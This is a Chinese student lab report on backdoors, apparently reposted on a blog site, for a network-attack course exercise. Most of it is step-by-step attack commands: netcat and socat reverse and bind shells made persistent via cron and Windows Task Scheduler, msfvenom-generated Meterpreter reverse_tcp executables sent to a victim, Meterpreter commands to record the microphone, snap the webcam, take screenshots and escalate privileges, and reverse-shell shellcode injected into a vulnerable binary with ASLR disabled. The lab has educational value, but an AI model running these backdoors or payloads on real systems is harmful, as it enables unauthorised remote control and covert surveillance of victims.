《网络对抗技术》Exp2 后门原理与实践

摘要:
Exp2后门原理和实践(1)使用netcat获得主机操作shell,cron启动(2)使用socat获得主机操作shell,任务计划启动(3)使用MSF metreter(或其他软件)生成可执行文件,使用ncat或socat传输到主机并运行以获取主机外壳(4)使用MSF metereter(或其他软件)生成并获取目标主机的音频、相机、按键记录等,并尝试改进正确的(5)可选奖励内容:使用MSF
Exp2 后门原理与实践

(1)使用netcat获取主机操作Shell,cron启动

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

(6)基础问题回答

(7)实验思考与体会

前提--后门概念

后门就是不经过正常认证流程而访问系统的通道。

哪里有后门呢?

  • 编译器留后门
  • 操作系统留后门
  • 最常见的当然还是应用程序中留后门
  • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。
视频练习:

1. windows连接kali:

kali:

sudo service ssh start   //要先开启ssh服务,才可以建立连接

windows:

ssh lby20181205@192.168.239.129 //ssh 用户名@想要连接的IP地址

《网络对抗技术》Exp2 后门原理与实践第1张

 同样,kali也可以连接windows,只要修改相应的用户名和主机就可。

2. Win获得Linux Shell

windows: ifconfig 查找主机IP

《网络对抗技术》Exp2 后门原理与实践第2张

kali: nc 192.168.229.18888 -e /bin/sh  //这里是windows的IP

《网络对抗技术》Exp2 后门原理与实践第3张

windows:ncat.exe -l -p 8888 

《网络对抗技术》Exp2 后门原理与实践第4张

 成功!

3. Linux获得Win Shell

kali :  ip addr  查看IP地址

 《网络对抗技术》Exp2 后门原理与实践第5张

 kali: 输入 nc -l -p 1205 //这里需要关闭kali的防火墙 ufw disable 

《网络对抗技术》Exp2 后门原理与实践第6张

windows:ncat.exe 192.168.239.1291205  //这里是kali的IP,   当不输入 -e cmd.exe 时,就是传输数据。

《网络对抗技术》Exp2 后门原理与实践第7张

 成功!

命令含义:

ncat.exe -e cmd.exe 192.168.239.129 1205

ncat是一个底层工具,进行基本的TCP UDP数据收发。
将其接受的字符串传到一个可执行文件 cmd.exe 中(类似于管道符 “ | ”)

然后将输出传给 192.168.239.129 端口号为1205

 4. nc还可以在两个主机中传输文件:

发送方:windiws

  nc 192.168.239.1291205 < InputTest.txt  //这里是接收方的IP地址,和选择的端口号

 《网络对抗技术》Exp2 后门原理与实践第8张

接收方kali:接受文件,将其内容存入Test.out

   nc -l -p 1205 > Test.out   

 《网络对抗技术》Exp2 后门原理与实践第9张

一、使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

kali端:  crontab -e 

1.crontab指令增加一条定时任务,"-e"表示编辑。

《网络对抗技术》Exp2 后门原理与实践第10张

2.因为是第一次编辑,故提示选择编辑器,我选择了3。

《网络对抗技术》Exp2 后门原理与实践第11张

3.按下回车键后,会自动打开文件  /tmp/crontab.f3CSBm/crontab  。

在最后一行添加

5 * * * * /bin/netcat 192.168.229.1 1205 -e /bin/sh  //分钟、小时、日期、月、周几

简单说就是在每个小时的第5分钟执行后面的那条指令,即执行 /bin/netcat 192.168.229.11205 -e /bin/sh 。其中 192.168.229.1 是我主机的IP地址,端口号为1205。

 《网络对抗技术》Exp2 后门原理与实践第12张

 4. 保存、退出后配置立即生效。可以通过 crontab -l 来查看,"-l"表示list。

 《网络对抗技术》Exp2 后门原理与实践第13张

 5.(要在指定时间前打开)如果你在另一台主机192.168.229.1中,让nc侦听在1205端口,那到了5分就会有获得一个shell。这就是一个最简单的反弹式后门。

windows端:

《网络对抗技术》Exp2 后门原理与实践第14张

你也可以开一个非反弹式的后门,如把cron指令写成"nc -l -p 8087 -e /bin/sh",你的主控机可以随时连接这个主机"nc IP 8087",就能获得shell。

二、使用socat获取主机操作Shell, 任务计划启动

1. 在Windows主机上按下 win(徽标)+r ,输入 compmgmt.msc 唤出计算机管理界面,在这里创建一个新的定时任务。

《网络对抗技术》Exp2 后门原理与实践第15张

 2. 在打开的页面中依次点击以下按钮:“任务计划程序” --->  “创建任务”

《网络对抗技术》Exp2 后门原理与实践第16张

 3. 在弹出的窗口中,点击 “常规”,输入该任务计划的名称

《网络对抗技术》Exp2 后门原理与实践第17张

 4. 点击“触发器” ----> “新建” ---->"确定“。

《网络对抗技术》Exp2 后门原理与实践第18张

并选择预定开启时间

《网络对抗技术》Exp2 后门原理与实践第19张

5. 点击“操作” ----> “新建” ---->"确定“。

《网络对抗技术》Exp2 后门原理与实践第20张

 在”程序和脚本“中,输入socat.exe的存放位置,并添加参数 tcp-listen:1205 exec:cmd.exe,pty,stderr ( 把可执行文件cmd.exe绑定到端口1205,同时把cmd.exe的stderr重定向到stdout上)

 《网络对抗技术》Exp2 后门原理与实践第21张

6. 可以在”任务计划程序库“中查看到我们新建的任务:”a_test"。

《网络对抗技术》Exp2 后门原理与实践第22张

 7.可点击右键直接运行该任务。

《网络对抗技术》Exp2 后门原理与实践第23张

 8. 保留windows端弹出的cmd.exe窗口,并在kali端输入 socat - tcp:192.168.229.1:1205 ,其中192.168.229.1是我windows的IP地址,端口号为1205(要与之前添加的参数相一致)

windows端:

《网络对抗技术》Exp2 后门原理与实践第24张

kali端:

 《网络对抗技术》Exp2 后门原理与实践第25张

 9.可返回“计算机管理”关闭该任务(右键---->结束)

三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

1.在kali端生成exp2_backdoor.exe。

kali端:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.129 LPORT=1205 -f exe > exp2_backdoor.exe

 -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。

    这里windows/meterpreter/reverse_tcp (windows下的一个后门,是“反弹式连接”--- 被攻击者主动连接攻击者)就是一段shellcode。

 -f  生成文件的类型

  >  输出到哪个文件

 LHOST  是反弹回连的IP   (kali的IP地址)

 LPORT  是回连的端口    1205

 《网络对抗技术》Exp2 后门原理与实践第26张

   !!!这里会看到exp2_backdoor.exe的文件大约为73KB!!,之后会用到

 2. 在Windows命令行中进入ncat目录,执行命令 ncat.exe -l 1205 > exp2_backdoor.exe ,使被控主机即Windows端进入接收文件模式。

《网络对抗技术》Exp2 后门原理与实践第27张

3. 在kali中执行命令 nc 192.168.229.1 1205 < exp2_backdoor.exe ,IP地址填Windows主机的,将exp2_backdoor.exe从kali端发送到Windows端。

《网络对抗技术》Exp2 后门原理与实践第28张

4. 此后,发现exp2_backdoor.exe已经在windows中(要注意查看exp2_backdoor.exe的大小,不要过早停止传输)

《网络对抗技术》Exp2 后门原理与实践第29张这里主机要关闭防火墙,否则会被查杀。

 5. MSF打开监听进程:

kali 端:

msfconsole 

《网络对抗技术》Exp2 后门原理与实践第30张

1  use exploit/multi/handler  // 使用监听一种后门
2 
3  set payload windows/meterpreter/reverse_tcp 
4 
5  set LHOST 192.168.239.129  //将要实行监听的主机IP,也就是被监听主机将要连接的IP地址
6 
7  set LPORT 1205 

《网络对抗技术》Exp2 后门原理与实践第31张

  show options //查看设置的信息是否正确

《网络对抗技术》Exp2 后门原理与实践第32张

6. 在kali端输入  exploit 后,在windows端点击运行后门程序"exp2_backdooe.exe"。

则可发现kali端的监听进程获得了Windows主机的主动连接,并得到远程控制shell。

《网络对抗技术》Exp2 后门原理与实践第33张

 四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权(help查看所有指令)

《网络对抗技术》Exp2 后门原理与实践第34张

1. 音频: record_mic 

《网络对抗技术》Exp2 后门原理与实践第35张

2. 摄像头: webcam_snap 

《网络对抗技术》Exp2 后门原理与实践第36张

3. 截屏: screenshot 

《网络对抗技术》Exp2 后门原理与实践第37张

 4. 提权:getsystem (我的失败了)

 《网络对抗技术》Exp2 后门原理与实践第38张

 五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

//////自己生成shellcode//////////

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.239.129 LPORT=1205 -f c

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] =
"x31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80"
"x93x59xb0x3fxcdx80x49x79xf9x68xc0xa8xefx81x68"
"x02x00x04xb5x89xe1xb0x66x50x51x53xb3x03x89xe1"
"xcdx80x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3"
"x52x53x89xe1xb0x0bxcdx80";

与实验一操作类似的部分就不加以解释了,直接放图

1. 关闭地址随机化://每次都进行!

execstack -s exp2_20181205

execstack -q exp2_20181205

echo "0" > /proc/sys/kernel/randomize_va_space

more /proc/sys/kernel/randomize_va_space

 《网络对抗技术》Exp2 后门原理与实践第39张

 2. 查找getshell的首地址:

perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00" ' > input

《网络对抗技术》Exp2 后门原理与实践第40张

 终端1:

《网络对抗技术》Exp2 后门原理与实践第41张

终端2:

ps -ef | grep exp2_20181205
gdb
attach 3253 disassemble foo
break *0x080484ae c //回车后在终端1再按一次回车 info r esp x/16x 0xffffd57c //以十六进制查看esp的值

《网络对抗技术》Exp2 后门原理与实践第42张

 《网络对抗技术》Exp2 后门原理与实践第43张

  找到getshell的首地址了,为0xffffd580。

3.将正确的首地址注入:

perl -e 'print "A" x 32;print "x80xd5xffxffx31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x93x59xb0x3fxcdx80x49x79xf9x68xc0xa8xefx81x68x02x00x04xb5x89xe1xb0x66x50x51x53xb3x03x89xe1xcdx80x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80" ' > exp2_input_shellcode

《网络对抗技术》Exp2 后门原理与实践第44张

 4.运行测试是否正确:

终端1: //先在终端1执行 (cat exp2_input_shellcode;cat) | ./exp2_20181205 

《网络对抗技术》Exp2 后门原理与实践第45张

 终端2:

1 use exploit/multi/handler     //用于设置payload
2 set payload linux/x86/shell_reverse_tcp
3 set LHOST 192.168.239.129              //与shellcode一致
4 set LPORT 1205        //与shellcode一致
5 exploit   //设置完成开始监听

//出现第一个蓝色 ”*“ 后,在终端2再按一次回车

《网络对抗技术》Exp2 后门原理与实践第46张

 成功!

《网络对抗技术》Exp2 后门原理与实践第47张

六、基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  通过不安全的网站,在网站进行系统缓存时,自动下载至主机。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  将程序名字和图标改为用户熟知的软件,从而使用户自己点开软件运行。

  通过邮件信箱或者链接发给用户,用户点开就会启动。

(3)Meterpreter有哪些给你映像深刻的功能?

  截屏、录音、按键记录等功能吧,用户的信息很大可能会通过这种方式被泄露。

(4)如何发现自己有系统有没有被安装后门?

  开启防火墙或杀毒软件,当发现木马程序时会自动查杀。

七、实验思考与体会

   本次实验的操作让我对后门程序有了更加深刻的理解。也更意识到了它的危害:在获取权限后,它甚至可能获得用户的密码。也警惕着要注意着木马程序,不要点开未知来源的链接或邮箱,也不要访问不安全的网站。

  并且,在kali中提权时,我的系统是失败的,虽然它可以连接windows。在看到云班课的讨论区后,发现可能是生成的木马程序与系统不兼容导致的,有的同学将文件改名为“setup.exe"后成功了(我的仍是失败),还有的是对木马程序提权,然后就可以成功了。(这个我还没有尝试,会在尝试后添加)

  在加分项目中,要注意payload与之前的不一样,要改为linux下的tcp,否则无法反弹连接。并且在shellcode中已经确定了端口号,不能随意更改。

免责声明:文章转载自《《网络对抗技术》Exp2 后门原理与实践》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇[CSDN-Word教程]自动完成Word 日常任务23.Android之颜色码制表下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Linux Shell远程执行命令(命令行与脚本方式)

shell远程执行: 经常需要远程到其他节点上执行一些shell命令,如果分别ssh到每台主机上再去执行很麻烦,因此能有个集中管理的方式就好了。一下介绍两种shell命令远程执行的方法。 前提条件: 配置ssh免密码登陆 对于简单的命令: 如果是简单执行几个命令,则: ssh user@remoteNode "cd /home ; ls" 基本能完成常用的...

XXE漏洞复习版本

题记 昨天把很久之前看的XXE、SSRF、../../目录遍历什么的漏洞详细复习了一遍,又读出来不少新东西。来不及了,我们不能把时间浪费在迷茫上。 这次先整理XXE。XXE,外部传入的XML代码。 本来整理一半放弃了,我觉得人家写的挺好的,自己也理解了,看人家的就行,后来又觉得自己重新整一遍才好,过一遍脑子。 XXE介绍 "攻击者通过向服务器注入指定的xm...

chapter11:认识与学习bash之(1)认识shell与shell的变量功能

  使用终端的命令行就是通过bash 环境变量来处理的,bash还包括变量的设置与使用,bash操作环境的构建,数据流的重定向和管道等。 一,认识bash这个shell 1.什么是shell   我们一般通过shell来和内核进行通信,因为内核是要保护的。也就是说通过shell将我们的命令与内核通信,好让崔可以控制硬件来完成工作。   其实shell只是提...

Linux的环境变量配置在/etc/profile或/etc/profile.d/*.sh文件中的区别是什么?

@ 目录 login shell non-login shell 它们的区别 Linux的环境变量可在多个文件中配置,如/etc/profile,/etc/profile.d/*.sh,~/.bashrc等,下面说明上述几个文件之间的关系和区别。 bash的运行模式可分为login shell和non-login shell。 login she...

Linux向文件添加内容的几种方法

需求:向 file.txt 添加内容 "hello world" 方法1:文本编辑器 [root@linux test_shell]# vim file.txt 方法2:输出重定向 [root@linux test_shell]# echo "hello world" >> file.txt [root@linux test_shell]# c...

web shell

介绍: 为什么文件上传存在漏洞 上传文件时,如果服务器代码未对客户端上传的文件进行严格的验证和过滤,就容易造成 可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp 等格式的文件)。 ·危害 非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本 文件,又称之为 webshell,也可将 webshell 脚本...